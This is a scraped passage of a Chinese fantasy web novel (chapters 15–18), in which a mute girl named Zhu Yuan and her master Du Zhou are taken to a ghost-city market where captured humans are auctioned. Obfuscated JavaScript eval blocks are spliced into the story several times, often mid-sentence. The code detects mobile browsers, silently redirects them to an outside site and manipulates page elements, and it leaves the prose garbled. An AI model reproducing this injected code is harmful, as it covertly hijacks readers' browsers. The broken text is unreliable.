“马货郎不是姓马的货郎,而是无相城一种行当的总称。恶鬼好吃人,每逢月半子时,便有马车陆陆续续从鬼界出发,去人界进货。” 进什么货?当然是人。 小鬼提前踩点哪家没有贴符供神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406312|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哪家阴气最重,哪家“货”好。 看中了,便在那户人家窗户下打个标。等到子时,马货郎便来了。 马货郎驾着车,鬼影在月光底下行驶得飞快。到了标记点,便轻轻敲开窗户,伪装成“货物”梦中人的声音,悄声道:“行行好,我肚子饿啦!” “常言道,日有所思夜有所梦。入梦之人多是亲近之人,听到亲近之人的声音难免应答。若是应上一句,不管说什么,马货郎便立马放出小鬼从睡梦人的嘴巴钻进腹中。” “一直等到了鬼界,那些小鬼才会神不知鬼不觉地出来。这是因为活人阳气重,鬼界来的马车拉不走,可一旦沾了鬼气便要中招。外面马车应声而动,连人带房一并拉走。第二日再开门时,里面空空如也,人财两失。” 原来还有这样阴毒的手段...... 哑奴听到这里,情不自禁地问:“主君,你呢?也是这样被抓来的?” 哑奴不过随便一问,她觉得渡舟绝不会被如此拙劣的手段抓来。 谁知对方却并未否认。 哑奴惊讶万分,接着问:“马货郎来时,你在做什么梦?” 只有哑奴敢如此大胆问这种话,渡舟并不在意,只说:“梦醒便忘了。” 哑奴若有所思地点点头,心想她也常常做梦醒来就忘了,原来主君也和她一样。 渡舟伸了个懒腰,哑奴眼尖地发现他胳膊下面还压着一张宣纸没有丢掉,渡舟笑了笑,示意她可以看。 哑奴小心翼翼挪开那尊龙形玉石镇纸,双手捧起那副字,好奇地看向渡舟。 “给你的名字,你瞧瞧,有没有喜欢的?” 哑奴震惊地睁大眼睛,压不住的欢喜很快浮上那双黑色的眸子,难以置信地比划道:“给我的?” “嗯。” 哑奴以为自己生下来就叫“哑奴”。她有时候也会想,说不定在她忘记的那些过往里,她也跟寻常人一样有个名字。不需要多好听,就只是个名字。 哑奴捧着那张纸,就像捧着香喷喷的烤饼,眼睛亮晶晶的。渡舟在上面写了好几个名字,每个都很好听,她都很喜欢。 哑奴挑来选去,指尖挪到最后一个,眼巴巴地望着渡舟。 “喜欢这个?”渡舟坐起来一点儿,“祝鸢的意思是,祝君......振翅能凌霄,倦鸟得良栖。” 他见哑奴懵懵懂懂,笑着解释道:“也就是说,你想飞便飞,不想飞了便停下,总有人接着你。” 真好听。 哑奴用手摸着那两个字,有点不大好意思让渡舟把这么好听的名字送给她。她只是个不会说话的小丫头,真的可以叫祝鸢吗? “来,我教你写一遍。” 渡舟站起来走到她身后,手掌轻轻地包裹住她的,微微弯下腰,带着她一笔一划在“祝鸢”旁边写下“振翅能凌霄,倦鸟得良栖”这行小字。 哑奴恍然大悟,原来是这几个字。 不过奇怪的是,他们写出来的字莫名其妙得很像。 渡舟道:“从今天开始,你就叫祝鸢,好吗?” 哑奴眉眼俱笑,重重地点了一下头。随后她就跟着迷了似的,一遍遍地在纸上写自己的名字。 祝鸢。 我也有名字了,我叫祝鸢。 15. 奈何门 突然伴随一声巨响,好像这间房被什么东西狠狠撞了一下,眼看着地面剧烈摇晃起来,一端高高翘起。 “当心。”渡舟稳稳地在祝鸢后腰处扶了一把,旋即收回手,“到了。” 祝鸢正欲起身,渡舟在她肩上轻轻拍了拍,低声说道:“别急,看看再说。” 她小心推开窗,惊讶地发现短短一会儿功夫,外面竟然天光大亮。 果然,无相城是不能用简单的白天黑夜来定义的。 只见一幢角楼平地而起,直破云霄,诡谲非常。 上挂一道红字黑底匾额,题为:须尽欢。 须尽欢下,有“人”骂道—— “哪个不长眼的!没见老子已经尥蹶子了!” 这一声怪极,乍一听是人,却又夹杂着几声愤怒的马叫。 再看,更是怪,原来说话的竟真是一匹白马! 这马长着一副长脸,五官却又像人,再往下又是马腿马尾巴,实在是怪。 这位“马兄”便是马货郎了,人言马货郎长着副马脸,奇丑无比。现在看来哪里是人长了马脸,分明是一匹货真价实的马生出人头才对。 原来方才“马兄”到了角楼,便扬起后蹄停下车架,但这马车挂着的车厢实在太多了,后面的马儿不知前面已经到了,仍哼哼哧哧卖力地往前走,于是“马兄”的屁股便被狠狠撞了一下。 马兄骂了几句,转身安排小鬼们卸货。 这门也是奇,只能从外面打开才能出。车厢里关着的人被陆陆续续放出来,祝鸢跟渡舟走在最后。 渡舟换了副容貌,变化成一个面色发青,形容消瘦的男人。祝鸢则还是原来那副小鬼皮相,不过身上的鬼气却散了,看上去仅仅是个不起眼的少年。 除了马货郎和出来卸货的接引小鬼们,还有十多个凭空出现的妙龄少女,无不妆容精致貌美娇艳。 她们浅笑盈盈,都赤着一双玉足,白嫩的脚踝上拴着一只银制铃铛,裸着的水蛇腰上同样系着银铃铛,故而走起路来叮叮当当煞是好听。 祝鸢看得眼花缭乱,渡舟道:“这些都是马车上的铃铛所化,不过一团鬼气罢了,一吹就散。” 在场的除了祝鸢应当都没心思观赏美人,无不脸色发白,战战兢兢,欲哭又止。 美人们笑嘻嘻地给引着他们从角楼一处偏门进去,外面本是灯火通明,进了门却像掉进一团漆黑,过了许久眼睛才能勉强视物。 只见入眼是看不见尽头的暗道,石壁两侧每隔十余步便燃着一团绿油油的鬼火,除此之外再无光亮。 渡舟挨着她,低声道:“这条路只可进,不能出。” 祝鸢不免诧异,又听对方解释道:“我们进来的门叫奈何门。奈何门关,神仙奈何。君为鱼肉,我为刀俎。意思是进了奈何门,便别想出去。” 奈何门,主君懂得真多呢。 “后面的跟上,叽叽咕咕说什么呢!” 前面传来马货郎的马嗓,他一甩马鞭以示警告,又派出两个小鬼过来,渡舟便不再说话了。 这暗道错综复杂,岔路极多,他们走了足有一炷香时辰才停下。此处已经明亮许多,上方似有阵阵杂音传来,听不真切。 面前一道石门,石门上凹凸不平刻着一张男人的脸,马货郎上前念了一串听不懂的咒语,那石脸突然动了,睁开圆溜溜的大眼睛,眼珠子咕噜咕噜滚了一圈,这才打开大门。 渡舟不知想到了什么,低声一笑,冲祝鸢做了个口型:“好玩儿。” “啊!” 门刚打开,站在最前面的小姑娘大叫道:“我……我不要进去!” 她连连后退,人群也跟着骚动起来,祝鸢上前几步,却突然被一双手轻捂住双眼。 “别看。”渡舟轻声道。 捂住我眼睛做什么?祝鸢摸索着握住渡舟手臂,轻晃两下,意思是让他放开。 谁知渡舟不仅没放开,反而声音带了几分不寻常的恼怒,也不知说与她听还是自言自语:“腌臜东西。” 耳畔乱哄哄一片,尖叫声此起彼伏,祝鸢又是好奇又是担心,强行扒开眼前的手。 映入眼帘的是一间极大的石室,高约五丈,石壁上密密麻麻挂满了铁笼。眼前衣衫微动,渡舟迅速闪身到她面前,将剩下的情形挡了个严严实实。 虽然方才只有一瞬,祝鸢还是看了七七八八,那高挂的铁笼里每个都关着赤身裸体的活人! “都麻利点!男的关阳室,女的关阴室!” “扒了扒了!都扒干净些!” “救命!啊啊啊啊!别碰我!” …… 鬼魅妖邪祝鸢见过一些,残忍嗜血者不少。但像眼前这样的,扒光衣服待价而沽,视人作猪狗,祝鸢还是头一回见,不由怒上心头。 “我操了什么玩意儿!” 众鬼抬眼望去,只见一接引小鬼举着起火的右手边跑边鬼叫。 “哟,鬼大什么时候学的杂耍?” 众鬼不以为然,嘻嘻哈哈看热闹,马兄方才被撞了腚本就心烦,当下抽了一鞭子过去,打得鬼大吱哇乱叫。 “耍什么宝!”马兄怒道。 鬼大一边扑火一边往人群一指,哀嚎道:“那女的!她身上有灵光会放火!” 被他指着的正是那位十五六岁的千金小姐。 原来鬼大方才本是要去抓她衣服,刚摸了片衣角便腾地燃起一阵火光。 小姑娘怀里揣着祝鸢给的符箓,本来心里正欢喜自己有救,见马货郎拿着鞭子气势汹汹地走过来,吓得再也忍不住,哇一声哭出来。 “放屁!她长得还没老子腰高,怎么可能有灵光!” 马兄话说着就朝那姑娘举起鞭子,这一鞭下去不死也悬了。 “救命!” 眼见长鞭将落,众人屏气凝神—— 啪! 女子尖利的叫声令人目不忍视,但预想中的血溅当场却并没有出现。 只见鞭子的一端是马货郎握着不错,另一端却攥在渡舟手里。 渡舟气定神闲,将那挥下的铁鞭握在手中,一边把玩一边冲祝鸢眨眨眼睛,意思让她不要妄动。 马兄见有人截了自己的鞭,还是个手无缚鸡之力的凡人,怒骂道:“哪来的小鬼头!给老子滚一边去!” 一语未毕,马兄蛮横地拽着铁鞭往后一拉,众人心想这下这人怕是惨了,不摔死也要断根骨头,谁承想对方一动不动。 两厢僵持下,渡舟突然冷不丁地松了手,很嫌弃地拍拍手上灰尘,啧了一声:“没意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406313|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思。” 祝鸢扑哧一笑,马货郎险些摔了跟头,幸而左右小鬼相扶,登时哇哇大叫道:“老子今天非要亲手剁了你!” “老马!” 这一声来得突兀,只见门外匆匆而来一黑影,满脸刀疤一身横肉,说话如打雷—— “杀人滚远点!这什么地方也敢大呼小叫!” 方才还怒气冲冲的马货郎见了来人立马堆起满面假笑,很狗腿地迎上去,点头哈腰道:“哟!刀掌柜亲自出来啦,这是小人今天送来的货,您清点清点?” 刀疤脸哼哼道:“怎么回事?” 马货郎将手中铁鞭往地上一甩,骂道:“晦气!不知道哪来的野小子,忒不听话!” 刀疤将渡舟上下打量一番,挑起半边眉毛:“妈的!一个病秧子有什么好杀的!里头催得凶,先不往笼子里关了!直接带进去!” 那些小鬼们听了刀疤脸的命令,将他们全都关在石壁之后一处极为逼仄矮小的地方。 室内昏暗无光,仅有一盏盛在骷髅头里的幽绿色鬼火散发着微弱的光芒,让人不禁心生寒意。 等其余鬼差都离开,祝鸢便问:“主君,咱们怎么把这些人都救出去?” 渡舟在她手上写字:“什么时候说要救人了?” 祝鸢眨眨眼睛,比划道:“我不要吃烤饼了,主君,你救救他们吧。” 渡舟笑道:“满脑子救人,万一我们真出不去,怕不怕?” 祝鸢又眨眨眼睛,也学着渡舟在他手心写字:“有主君在,我不怕。” 渡舟哈哈大笑。 祝鸢又问:“主君,你很喜欢无相城吗?” 渡舟道:“为什么这么问?” 祝鸢认真道:“你从前不笑的,很凶。” 渡舟哑然,似乎在努力回忆自己在牵机营是什么样子。 坐在祝鸢旁边的,是一个年纪稍长的陌生男子,见他们二人说说笑笑,凑上来问道:“敢问两位公子可是修士?” 祝鸢摇摇头,指了指天,又在地上写了个“公”字。那人恍然大悟道:“原来是公门中人,在下唐回,幸会幸会。” 那唐回不光心态挺好,还是个自来熟,将他怎么从睡得正香被抓来这鬼界从头到尾讲了一遍。 如此你一言我一句,反倒不那么害怕了。 唐回身边那位男子却始终一言不发。他见祝鸢目光好奇,拍了拍身侧人肩膀,介绍道:“这是我表哥,叫唐稽。” 唐稽面容忧郁,略略颔首致意。 唐回解释道:“他呀,心情不好,别见怪。” 唐稽从怀里掏出一张叠得很小心的纸来,展开,上面隐约是一副女子的画像,画作极为传神,画师观察细致入微可见一斑,他问道:“两位大人,可曾见过这位姑娘?” 渡舟目不斜视,祝鸢摇头,唐回拉住唐稽的胳膊,劝道:“表哥,你真是昏头了,灵儿表妹一个闺中待嫁的姑娘,他们怎么可能见过?” 他见唐稽眉头愈发紧锁,又随口安慰道:“你别担心了,过几天这丫头肯定自己就回来了。” 唐稽收了那幅画像,闭目养神去了。唐回又转向祝鸢,他欲言又止……还是没止住:“小兄弟,你既然是衙门的人,那你见过牵机营那位……主子没有?” 16. 莲花烙 祝鸢转过脑袋看了眼渡舟,随后点点头。 唐回压低嗓门道:“传闻都说那位主子把持朝政,连奏折都是送到牵机营批复,可是真的?” 有人赶紧接话:“还说他当年动动手指,就把那些不听话的朝廷命官全都砍了,也是真的?” “咱们圣上也得叫他一声皇叔,这总不假吧?” “还听说他夜御十女,个个惨死……” 祝鸢越听眼睛睁得越大,到后面大气不敢出,眼见渡舟听到最后一句黑下脸,心道:“要死了,主君生气了!” 这些不怕死的哪里知道本尊就在眼前,本来是想打探点儿小道消息,一说起来就没完没了了,话题渐渐往不可描述的方向发展。 救命! 祝鸢赶紧挡在渡舟面前,双手挥舞得飞快:“打住!” 求求别说了,我还不想死! 唐回一脸兴奋,语气殷切道:“小兄弟,你可是也有什么秘辛要说?” 没有,绝对没有! 祝鸢极力为渡舟正名,一脸紧张地比划道:“主君不是你们说的那样的,他是个好人,真的。不过我也不知道他有没有批奏折,主君每天都很忙的……对了,他还带我吃烤饼,虽然他不给我月钱……” 没人看得懂祝鸢在比划什么,身后却突然传来噗嗤一声轻笑,祝鸢回过头,渡舟方才还脸黑得像锅底,眼下却笑得正开怀。 渡舟一边笑,一边将她挥动的双手轻轻按住,往自己身边拉了拉,温声道:“怪我。” 啊? 渡舟懒洋洋地张开双臂靠在墙上,盯着她笑:“我身上的东西都很值钱,你想要什么?” 祝鸢哪里敢上手从渡舟身上扒东西! “这个应该最值钱。”渡舟将那只笛子从腰间抽出来,递给祝鸢,“拿去玩儿。” 完了。 祝鸢面露惊恐,下意识伸手摸了摸渡舟的额头,主君脑子坏掉了,要么就是被夺舍了。 “莲、莲花烙!” 唐回战战兢兢地指着渡舟左手腕,衣袖滑落,那上面无比清晰地映出一朵并蒂莲。 “你是牵机营的人!”唐回震惊道,“传闻牵机营之人身上都有一朵莲花印记,寻常时看不出,只有极暗处才能显现轮廓……” 此言一出,周围瞬间一片死寂。 祝鸢好奇张望,看见渡舟露出的左手腕隐约有朵黑色并蒂莲。祝鸢想起来上官大人似乎也有这么个莲花烙印,只是寻常莲花,并非并蒂莲。 渡舟注意到祝鸢的目光,问道:“喜欢?” 祝鸢比划道:“主君,牵机营的人都有吗?为什么我没有?” 渡舟今夜笑得过于频繁了:“因为你不需要。” 众人议论之声戛然而止,不约而同默默退让三步,牵机营这三个字俨然成了比鬼界还要可怖的存在。 大概没有比背后说坏话被当场抓包更令人尴尬的事情了,还是唐回有胆识,站出来道:“大人恕罪,方才我们只是猎奇,随口说说,还望大人出去之后莫要……莫要说出去才好。” “别的都是实话,说便说了。只有一句……”渡舟的声音冷下来,“据我所知,我……家大人只有一位夫人,二人琴瑟和鸣,恩爱有加。再有刚才那样的话传出去,各位小心自己的舌头。” 祝鸢努力回想。 府里什么时候有位夫人的,我怎么从来没见过…… “知道知道!”唐回赶紧顺阶下,“小民出去就查,等查到哪个混账传出来的谣言,一定揪到官府去!” 这话听过就算,渡舟也不再追究,冷哼道:“想好怎么出去了?” 渡舟这话说得十分带刺,对方一愣,转而笑道:“这还用想吗?有牵机营二位大人在此,定不会让我等落入鬼怪之手!” 这话比方才渡舟说出牵机营三个字还要引起骚动,那位柔弱的千金小姐此时也连声附和道:“唐大哥说得对,小公子会画符,还留了信给我,一定能救我们出去的吧!” “是啊是啊,有牵机营在此,不怕鬼怪造次!” 方才还避之如蛇蝎的牵机营,此情此景下却摇身一变成为了这群人心中的救世主。 祝鸢的确是打算救人的,但人还没救先承谢意...... 人声鼎沸中,渡舟突然轻笑一声,冷声道:“诸位不是对牵机营避之不及吗,怎么?如此笃定能救你们?” “这......” 渡舟道:“如今我二人自身难保,不救是情理之中,救是心善,救而不得亦是心善。万一救不得,诸位反而心生恨意,岂不是我们亏了?” 渡舟言语傲慢,但仔细一想好像确实是这么回事儿。 众人面面相觑,唐回正色道:“大人放心,若有幸出去,我等必报今日之恩,若有人不幸殒命,也是他时运不济,怎敢怪罪恩人。” “唐大哥说得对!” 渡舟没有说话,房间内重新陷入不尴不尬的沉寂,他看向祝鸢,问道:“觉得我很冷血?” 祝鸢摇摇头,思索片刻,问道:“我从前以为,每个人都该救,不是这样吗?” 所以祝鸢才会明知打不过魇鬼也要冲,今日又义无反顾跳上马车救人。 她年纪小,不会说话,心思却爱憎分明无比单纯。 渡舟沉默良久,开口道:“真傻。” 祝鸢不乐意了,瘪嘴比划:“主君,你从前夸我很聪明的。” 渡舟这下子不单单是微笑了,简直是放声大笑。他看向祝鸢的神情依旧是那种重若千钧的专注,不过又好像有什么东西不一样了。 不一样在于,从前他只是偶尔露出这种表情,好像透过她在看另一个人。但自打祝鸢刚才在马车里撞见渡舟,这人便再也没有把目光从她身上移开过。 渡舟笑够了,用很温柔的声音说道:“我的错,你很聪明。” 半晌,他的声音低了些:“我从前认识一个人,和你一样,觉得世间每个人都该救。不管那些人是在刀山还是火海,她都拼了命地跑过去,跟人家说,别怕,我会救你。她跑啊跑,她救的人越来越多,可事与愿违,死去的人也越来越多……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406314|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 渡舟说到停了下来,似乎不愿再说下去了,祝鸢问道:“后来呢?” “后来啊......”渡舟道,“她没力气再跑下去了。” 祝鸢直觉这又是个不好听的故事。 从找凤尾花钿一路追到这里,祝鸢又困又累,只觉眼皮越来越沉,没过多久竟靠在墙壁上睡着了。 但梦中似乎墙壁过于软了些,等她再醒来时,是被一个尖利的鬼声吵醒的。 “要死啦!现在抓的都是什么货色!” 这声音十分耳熟,祝鸢睁眼一看,竟是他们进城时遇到的那个卫兵脑袋。 鬼头大哥正跟自己四目相对,而他口中的“什么货色”,好像凑巧就是我? 不过卫兵刚说完这句,便被渡舟一脚踹飞,鬼头哎呦一声痛呼,渡舟冷哼道:“你又是什么狗东西。” 原来那卫兵从城墙溜下来后,先是去人皮坊修了修自己新贴的头皮,紧跟着爬上一辆骷髅车,往城中的血器场去了。 上官说得不错,血器场其实是卖场。只不过卖的东西特殊了些,专卖活人罢了。 鬼怕光,正午阳气最重鬼气最弱,道行越浅的鬼越不能见光。 但那些正午要开门做活人生意的,这时便需要活人做容器,附在被做成傀儡半死不活的人身上,既能避光,又能掩人耳目,用完还能饱餐一顿,一举三得。 厉害的鬼是瞧不上血器这种东西的,小鬼又太弱没法附体,所以来血器场的往往是那些中下等鬼。 慢慢地,鬼发现活人好啊。 剥了皮能卖钱,剁了能吃肉,有皮相好的欢好一夜也不吃亏嘛,后来这血器场的鬼形形色色来得便更多了。 每逢十五开场,压轴必是好货。 而血器场,自然要在无相城最盛大的酒楼开张,这也正是这些人被抓来须尽欢的原因了。 可惜卫兵脑袋来得迟了些,里里外外已是水泄不通。他挤了许久还是在最外圈,索性张大嘴巴逮着旁边的狗腿狠咬一口。 “哎呀喂!哪个杂碎敢咬本大爷!” 那狗腿吃痛往旁边跳开,露出一张狗面獠牙脸。卫兵乘势往里一窜,速度快得惊人。刚窜没多远,又呈一道弧线从鬼堆里飞出来。 “去你的!别他妈挤!” “......” 卫兵脑袋见挤不进去,便心生一计,偷偷从暗门溜进来,想一睹为快。卫兵见祝鸢容貌实在算不得上乘,终于忍不住鬼叫一声。 此刻被渡舟那一脚踢得不轻,半颗头陷进墙壁里,新修的人皮发冠也歪到一边露出半边血淋淋的秃头,实在滑稽可笑。 寻常人乍见此物难免害怕,那些姑娘们想尖叫又惧怕渡舟,硬生生憋了回去,抱成一团瑟瑟发抖。 唐回强作镇定道:“兄……兄台,这是什么东西?” 渡舟很嫌弃地看了看自己踢过那颗头颅的脚,回答道:“无相城的东西,自然是鬼了。” 唐回忍不住道:“这鬼,也太丑了些。” 卫兵道:“好大的狗胆!敢骂本王?” 17. 血器场 他现下只是嵌在土里拔不出来的一颗脑袋,这话说得实在没有底气,唐回大着胆子笑道:“就你,也好意思自称本王?” 这时渡舟突然发笑,说道:“哦,原来是你啊。” 渡舟声音不大,那鬼头却睁大了眼睛四处张望:“谁在说话?谁认得我?” 渡舟漫不经心道:“我看你干脆死了算了,活成这副猪狗模样,也好意思招摇过市。我说得对吗?梁王,杨文潜。” “啊啊啊啊!!!”鬼头突然厉声尖叫起来,声音极为可怖,一边叫一边颠三倒四地说道,“那不是我!不是我!!你是谁?!别让我听见这个名字,啊!!!” 唐回最先反应过来,惊恐道:“你说他是梁王杨文潜?” “我不是!闭嘴!!!” 渡舟道:“如假包换。” 唐回道:“可梁王不是在千年前就......” 他想说梁王早就死了,可一想这里是无相城,见到死人难道不是很正常的事情吗? 唐回仍是难以置信,又问:“就是那个攻破大周朝的梁王?做了一百天皇帝的君主?竟落到如今下场,真是令人唏嘘......” 渡舟冷哼道:“他算什么君主?” 有人道:“梁王攻破周朝国都,暴君周昭战败,如今怎会……” 又是周昭? 祝鸢站在一边听他们三言两语,似乎眼前这个卫兵脑袋就是当年让大周朝灭国、让周昭成为亡国君的新皇帝? 渡舟似是极力忍耐,正欲发作,那头颅听到周昭二字,突然来了精神,眼球都快从夺眶而出,简直能让人想象出如果他有身体该是何等地激动,他瞪大眼睛道:“周昭!那贱人当然该死!想当年我——” “啊!” 渡舟随手捡了个石头扔过去,一代君主梁王的脑袋又深陷两寸。 不过他有三张脸,又将左边那边脸颇为艰难地转过来,似是很想看清一直揍他的到底是何人,他左看右看也认不出,骂道:“你是周昭的狗吗?老子说一句你打一下!” 他想了想又嘿嘿一笑:“不对,周昭的狗当年早就被我杀光了。不过你这毛头小子又是哪儿冒出来的——啊!!!” 毫不意外,渡舟又捡了块石头砸过去。 梁王骂道:“我操了!能不能让老子把话说完!” 唐回试探性地问道:“梁、梁王殿下,您的圣体不是在皇陵中吗?怎么......” 有人道:“当年八王伐周,汴西凉州杨文潜推翻周朝后自立为王,在中原建立起大梁帝国。不过大梁仅仅存在了一百天,传闻所有杨氏皇族竟在一个满月被全部屠杀,连皇陵都被翻了个干净,可凶手连影子都没有找到。” 唐回道:“好像是有这么回事儿......” 梁王道:“天杀的周昭!” 唐回道:“那安平皇帝不是在你之前就死了吗?” 梁王被这么一反问,气急败坏道:“那就是周朝余孽!” 许久不说话的渡舟冷笑道:“早知道,就该拔了你的舌头。” 头颅听到这话时愣了片刻,他又将渡舟二人仔仔细细看了一遍,从渡舟看到祝鸢,又看向渡舟手中的笛子,狞笑道:“嘿嘿,我知道你是谁了。” 祝鸢见卫兵突然望向自己,直觉对方又要说出什么难听的话来。 渡舟侧身将祝鸢挡住,头颅见了,哈哈大笑道:“渡舟小儿,你不是该守着周昭的尸首哭吗?怎地如今搞起断袖了,且品味变得这般差!周昭虽然是个该死的贱人,但长得那可真是——唔!” 这下梁王殿下不能再说话了,因为渡舟直接走过去将他整个头一脚踹进了土里。 “谁在吵闹?!活得不耐烦啦!” 门被一脚踹开,众人被强光刺得睁不开眼,嘈杂而热闹的声音如潮水般灌进这狭小密闭的空间,阵阵如雷鸣般欢呼雀跃声不绝于耳。 依稀能看见数米之外如白昼,好似皇家斗兽场,中间是一个巨大的圆台,上方则放着他们来时所见的大铁笼。 来人身高不足五尺,竟是一只红冠尖嘴的大公鸡! 那公鸡颇为傲慢地扫视一圈,手中铁链在墙上敲了敲,却不知他敲到的地方正好是那梁王殿下被踹进去的地方。 “你们谁是柳君瑶?” 先前那位被吓昏过去的姑娘情不自禁哆嗦一下,公鸡尖声道:“喔喔!就你啦!” 说完这句话,公鸡大摇大摆地走了。 那姑娘哇地一声哭出来,抽抽搭搭道:“……他怎么知道我的名字!怎么办我要被抓去吃掉了!” 渡舟肉眼可见地不耐烦起来,啧了一声:“放心,不会吃你。” 那姑娘一颗心尚未放进肚里,又听渡舟道:“只会把你卖掉。” 主君怪会安慰人的...... 不多时,门又开了。 门外窜进来几只黑黢黢的老鼠精,用手腕粗的铁链勾住他们的脚,叽叽喳喳道:“快走快走!” 祝鸢见渡舟十分顺从,不知葫芦里卖的什么药,便也乖乖跟着他走。 出了门,外面果然是个巨大的卖场,四周围栏长满倒刺荆棘,高台之外都设有座位供来客观赏。 此刻那笼子里关着的,是个略上了年纪的妇人。 “喔喔!各位静一静——” 嗯?公鸡的嘴巴还在一张一合,祝鸢却什么都听不到了。渡舟冲她眨眨眼,口型说道:“不是好话,不必听。” 只见公鸡怪围着铁笼转了一圈,说道:“货是新到的喔!无论老爷您是清蒸水煮,先奸后杀,先杀再奸……” 底下一团烂菜叶扔到公鸡头上:“妈的长这么丑谁要奸!” “就是!搞快点下一个!” 这位妇人显然不如年轻貌美的姑娘小姐们受欢迎,公鸡嘎嘎叫了两声,立马改口赔笑道:“老爷!此煎非彼奸嘛!虽然丑了点,吃肉也不错喔!虽然老了些,剥皮也能卖喔!” 底下笑嘻嘻一片,稀稀拉拉也有几个鬼开始出价了。 “一两!” “二两!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416476|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “......” 公鸡嘎道:“没啦?” 最终妇人以区区五两被一青鬼买走,老鼠精们抬着铁笼溜下场。那公鸡清了清嗓子,冲台下叫道:“陈老爷来了没有!您点名要的柳君瑶小姐带来啦!” 声音如雷贯耳,祝鸢又能听见了。 站在她身边的就是柳君瑶,早已吓得脸色发白,人群中站起来一个看上去三十出头的男子,看到柳君瑶时双目放光,兴奋叫道:“君瑶!是我!你那亲亲未婚夫呀!” “啊!”君瑶两眼一黑叫了一声,指着他道,“你这阴魂不散的……” 她兴许是不会骂人,许久才憋出后半句—— “阴魂不散的恶人!” 谁知她越骂那男子越兴奋,说道:“这么恼做什么?咱们生前没缘分,死后做夫妻哈哈哈哈!也好啊!” 一回一答间,众人大概明白了二人是何关系。原来男子叫陈德望,是当地有名的士珅,看上了柳家小姐上门提亲。 谁知对方不从,于是强行逼亲,哪知新婚前日酗酒过度竟一命呜呼死了。柳君瑶本以为厄运已过,谁知遭此横祸,被掳来无相城配阴婚,难怪要说阴魂不散四字了。 “静一静!都静一静!”公鸡叫道,“柳君瑶,年方二八,价高者得!” 陈德望急道:“你这泼皮无赖老鸡公!不是说好一百两吗!” 公鸡嘎嘎道:“那是昨日,今日就不是这个价了。” “你——”黑吃黑在无相城屡见不鲜,陈德望的声音很快被淹没在竞价声中,不少人纷纷出价要买那美貌小姐,男女都有,自然都是看上了那副皮囊。 祝鸢只觉场面实在难看,正不知怎么办,台下一男子高声叫道:“五百两!” 如此高价,叫价者瞬间偃旗息鼓,潮声缓缓退去,只有几声交头接耳混迹其中。 看来这柳君瑶是要被买走了,主君还不动手?难道真不打算救人? 此间虽然鬼气冲天,但以祝鸢那日看渡舟打魇鬼的情形来说,应该也能打得过。不过渡舟既然出现在无相城,一定是有要事,祝鸢本不想打扰他的计划,可眼见柳君瑶被抬下来,实在有些等不了了。 主君若不出手,只能我拼力一试了。说来上官大人怎么还没出现,算时间也该到了…… 她正暗自琢磨,突然看见刚才叫价五百两的那人冲他们这边望了一眼,有意无意地高高举起右手去接柳君瑶。 就这么一瞥间,祝鸢惊讶地发现那人小臂有一朵莲花印记,跟上官大人的一模一样。 原来是同僚……祝鸢呼出一口气,心想主君果然什么都安排好了。 柳君瑶的卖价让场内的气氛再度达到一个高潮,公鸡打了个响亮的鸣叫,招呼道:“喔喔!下一个!” 站在他们前面的本来是唐回两兄弟,渡舟却在这时推开他二人走到最前面。 那来拿人的鬼差还是头一次见有人上赶着送死,不由多看两眼,正欲问话,台上的公鸡又催了一句,便勾着渡舟走了。 18. 病秧子 祝鸢向前奔了几步,被鬼差举着刀叉拦下:“往后稍稍!挤什么!” 渡舟回过头冲她眨眨眼睛,做了个口型道:“等我。” “什么烂货也往上抬!”台上纷纷不满,高声叫嚷。 公鸡摸了摸鸡冠,打量渡舟几眼,同样小声嘀咕道:“哪来的病秧子......” 不过生意还是要做,公鸡很快清清嗓子,招呼道:“各位静一静!这个便宜,呃......”他抓抓脑袋,挥手道:“嗐!看着给吧!” 病秧子虽然没有皮相好、身体壮的货受欢迎,但总有些法力低微的小鬼,是没办法附身在阳气太重的活人身的。所以像渡舟这样的,也勉强能卖得出去。 台下很快出了价,最高五两银子,而那公鸡的心思也完全不在渡舟身上,不耐烦地摆摆手让鬼差赶紧把人送下去。 